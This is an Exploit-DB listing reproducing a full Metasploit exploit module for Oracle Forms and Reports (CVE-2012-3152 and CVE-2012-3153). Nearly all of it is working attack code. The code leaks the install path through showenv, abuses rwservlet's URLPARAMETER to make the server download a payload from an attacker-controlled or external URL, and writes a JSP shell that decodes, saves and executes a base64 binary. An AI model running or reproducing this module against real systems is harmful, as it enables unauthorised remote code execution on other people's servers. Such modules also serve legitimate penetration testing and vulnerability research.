Oracle Forms and Reports – Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2014-02-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/31737/
  • ##
    # This module requires Metasploit: http//metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    require 'uri'
    
    class Metasploit3 < Msf::Exploit::Remote
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::EXE
    
    Rank = GreatRanking
    
    def initialize(info = {})
    super(update_info(info,
    'Name'=> 'Oracle Forms and Reports Remote Code Execution',
    'Description' => %q{
    This module uses two vulnerabilities in Oracle forms and reports to get remote code execution
    on the host. The showenv url can be used to disclose information about a server. A second
    vulnerability that allows arbitrary reading and writing to the host filesystem can then be
    used to write a shell from a remote url to a known local path disclosed from the previous
    vulnerability.
    
    The local path being accessable from an URL then allows us to perform the remote code
    execution using for example a .jsp shell.
    
    Tested on Windows and Oracle Forms and Reports 10.1.
    },
    'Author'=>
    [
    'miss_sudo <security[at]netinfiltration.com>', # Vulnerability discovery
    'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module
    ],
    'License' => MSF_LICENSE,
    'References'=>
    [
    [ "CVE", "2012-3152" ],
    [ "CVE", "2012-3153" ],
    [ "OSVDB", "86395" ], # Matches CVE-2012-3152
    [ "OSVDB", "86394" ], # Matches CVE-2012-3153
    [ "EDB", "31253" ],
    [ 'URL', "http://netinfiltration.com" ]
    ],
    'Stance'=> Msf::Exploit::Stance::Aggressive,
    'Platform'=> ['win', 'linux'],
    'Targets' =>
    [
    [ 'Linux',
    {
    'Arch' => ARCH_X86,
    'Platform' => 'linux'
    }
    ],
    [ 'Windows',
    {
    'Arch' => ARCH_X86,
    'Platform' => 'win'
    }
    ],
    ],
    'DefaultTarget' => 0,
    'DisclosureDate'=> 'Jan 15 2014'
    ))
    register_options(
    [
    OptString.new('EXTURL', [false, 'An external host to request the payload from', "" ]),
    OptString.new('PAYDIR', [true, 'The folder to download the payload to', "/images/" ]),
    OptInt.new('HTTPDELAY', [false, 'Time that the HTTP Server will wait for the payload request', 10]),
    ])
    end
    
    def check
    res = send_request_cgi({
    'uri' => normalize_uri(target_uri.path, "/reports/rwservlet/showenv"),
    'method' => 'GET'
    })
    
    if res and res.code == 200
    if res.body =~ /\\(.*)\\showenv/
    vprint_good "#{peer} - Windows install detected "
    path = $1.gsub("\\", "/")
    vprint_status "#{peer} - Path:#{path}"
    elsif res.body =~ /\/(.*)\/showenv/
    vprint_good "#{peer} - Linux install detected"
    vprint_status "#{peer} - Path:#{$1}"
    else
    return Exploit::CheckCode::Safe
    end
    end
    
    res = send_request_cgi({
    'uri' => normalize_uri(target_uri.path, "/reports/rwservlet"),
    'method' => 'GET',
     'vars_get' => {
     'report' => 'test.rdf',
     'desformat' => 'html',
     'destype' => 'cache',
     'JOBTYPE' => 'rwurl',
     'URLPARAMETER' => 'file:///'
     }
    })
    
    if res and res.code == 200 and res.body.downcase.exclude?("<html>")
    vprint_good "#{peer} - URLPARAMETER is vulnerable"
    return Exploit::CheckCode::Vulnerable
    else
    vprint_status "#{peer} - URLPARAMETER is not vulnerable"
    return Exploit::CheckCode::Safe
    end
    
    return Exploit::CheckCode::Safe
    end
    
    def exploit
    @payload_url = ""
    @payload_name = rand_text_alpha(8+rand(8)) + ".jsp"
    @payload_dir = datastore['PAYDIR']
    @local_path = ""
    
    print_status "#{peer} - Querying showenv!"
    res = send_request_cgi({
    'uri' => normalize_uri(target_uri.path, "/reports/rwservlet/showenv"),
    'method' => 'GET',
    })
    
    if res and res.code == 200
    if res.body =~ /\\(.*)\\showenv/
    print_good "#{peer} - Query succeeded!"
    print_status "#{peer} - Windows install detected "
    @local_path = $1.gsub("\\", "/")
    print_status "#{peer} - Path: #{@local_path }"
    elsif res.body =~ /\/(.*)\/showenv/
    print_good "#{peer} - Query succeeded!"
    print_status "#{peer} - Linux install detected"
    @local_path = $1
    print_status "#{peer} - Path:#{@local_path }"
    else
    print_status "#{peer} - Query failed"
    fail_with(Failure::Unknown, "#{peer} - target is not vulnerable or unreachable")
    end
    else
    fail_with(Failure::Unknown, "#{peer} - target is not vulnerable or unreachable")
    end
    
    if datastore['EXTURL'].blank?
    print_status "#{peer} - Hosting payload locally ..."
    begin
    Timeout.timeout(datastore['HTTPDELAY']) {super}
    rescue Timeout::Error
    end
    exec_payload
    else
    print_status "#{peer} - Using external url for payload delivery ..."
    @payload_url = datastore['EXTURL']
    upload_payload
    exec_payload
    end
    end
    
    def primer
    @payload_url = get_uri
    @pl = gen_file_dropper
    upload_payload
    end
    
    def on_request_uri(cli, request)
    send_response(cli, @pl)
    end
    
    def upload_payload
    print_status "#{peer} - Uploading payload ..."
    path = "/#{@local_path}#{@payload_dir}#{@payload_name}"
    res = send_request_cgi({
    'uri' => normalize_uri(target_uri.path, "/reports/rwservlet"),
    'method' => 'GET',
    'encode_params' => false,
    'vars_get' => {
    'report' => 'test.rdf',
    'desformat' => 'html',
    'destype' => 'file',
    'desname' => path,
    'JOBTYPE' => 'rwurl',
    'URLPARAMETER' => @payload_url
     }
    })
    
    if res and res.code == 200
    print_good "#{peer} - Payload hopefully uploaded!"
    else
    print_status "#{peer} - Payload upload failed"
    end
    end
    
    def gen_file_dropper
    big_payload =false #size matters :(
    
    gen_payload_name= rand_text_alpha(8+rand(8))
    encoded_pl= Rex::Text.encode_base64(generate_payload_exe)
    print_status "#{peer} - Building JSP shell ..."
    
    len = encoded_pl.length
    if len >= 60000 #java string size limit ~60k workaround
    print_status "#{peer} - Adjusting shell due to payload size"
    pl_first = encoded_pl.slice(0, 60000)
    pl_second = encoded_pl.slice(60000, len)
    big_payload = true
    end
    
    #embed our payload
    shell= "<%@ page import=\"java.util.*,java.io.*, sun.misc.BASE64Decoder\"%>"
    shell += " <%"
    shell += " BASE64Decoder decoder = new BASE64Decoder();"
    #correct file suffix if windows
    if datastore['TARGET'] == 1
    shell += " File temp = File.createTempFile(\"#{gen_payload_name}\", \".exe\");"
    else
    shell += " File temp = File.createTempFile(\"#{gen_payload_name}\", \".tmp\");"
    end
    shell += " String path = temp.getAbsolutePath();"
    if big_payload
    shell += " byte [] pl = decoder.decodeBuffer(\"#{pl_first}\");"
    shell += " byte [] pltwo = decoder.decodeBuffer(\"#{pl_second}\");"
    
    shell += " BufferedOutputStream ou = new BufferedOutputStream(new FileOutputStream(path));"
    shell += " ou.write(pl);"
    shell += " ou.close();"
    
    shell += " ou = new BufferedOutputStream(new FileOutputStream(path, true));"
    shell += " ou.write(pltwo);"
    shell += " ou.close();"
    else
    shell += " byte [] pl = decoder.decodeBuffer(\"#{encoded_pl}\");"
    shell += " BufferedOutputStream ou = new BufferedOutputStream(new FileOutputStream(path));"
    shell += " ou.write(pl);"
    shell += " ou.close();"
    end
    #correct rights if linux host
    if datastore['TARGET'] == 0
    shell += " Process p = Runtime.getRuntime().exec(\"/bin/chmod 700 \" + path);"
    shell += " p.waitFor();"
    end
    shell += " Runtime.getRuntime().exec(path);"
    shell += "%>"
    
    return shell
    end
    
    def exec_payload
    print_status("#{peer} - Our payload is at: /reports#{@payload_dir}#{@payload_name}")
    print_status("#{peer} - Executing payload...")
    
    res = send_request_cgi({
    'uri' => normalize_uri(target_uri.path, "reports", @payload_dir, @payload_name),
    'method' => 'GET'
    })
    
    if res and res.code == 200
     print_good("#{peer} - Payload executed!")
    else
     print_status("#{peer} - Payload execution failed")
    end
    end
    end